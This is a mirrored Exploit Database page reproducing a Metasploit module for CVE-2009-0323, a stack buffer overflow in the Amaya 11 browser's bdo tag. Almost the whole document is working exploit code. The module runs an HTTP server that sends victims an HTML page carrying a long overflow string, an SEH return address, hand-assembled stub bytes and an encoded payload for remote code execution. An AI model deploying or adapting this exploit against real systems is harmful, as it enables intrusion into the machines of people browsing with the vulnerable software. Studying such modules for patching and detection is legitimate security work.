Amaya Browser 11.0 – bdo tag Overflow (Metasploit)

• Exploit Database
• 29 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16548/

• ##
  # $Id: amaya_bdo.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Amaya Browser v11.0 bdo tag overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the Amaya v11 Browser.
  					By sending an overly long string to the "bdo"
  					tag, an attacker may be able to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'dookie, original exploit by Rob Carter' ],
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-0323' ],
  					[ 'OSVDB', '55721' ],
  					[ 'BID', '33046, 33047' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 970,
  					'BadChars'=> "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
  				],
  			'DisclosureDate' => 'Jan 28 2009',
  			'DefaultTarget'=> 0))
  	end
  
  
  	def on_request_uri(cli, request)
  		# Re-generate the payload
  		return if ((p = regenerate_payload(cli)) == nil)
  
  		# Set the exploit buffer
  		sploit = "<bdo dir=\""
  		sploit += "\x41" * 6889
  		sploit += "\x74\x06\x41\x41"
  		sploit += [target.ret].pack('V')
  		sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F
  		sploit += "\x58"		 # pop EAX
  		sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A0857
  		sploit += "\x50"		 # push EAX
  		sploit += "\xc3"		 # RETN
  		sploit += make_nops(100)
  		sploit += payload.encoded
  		sploit += make_nops(970 - payload.encoded.length)
  		sploit += "\">pwned!</bdo>"
  
  		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
  
  		# Transmit the response to the client
  		send_response_html(cli, sploit)
  
  		# Handle the payload
  		handler(cli)
  	end
  
  end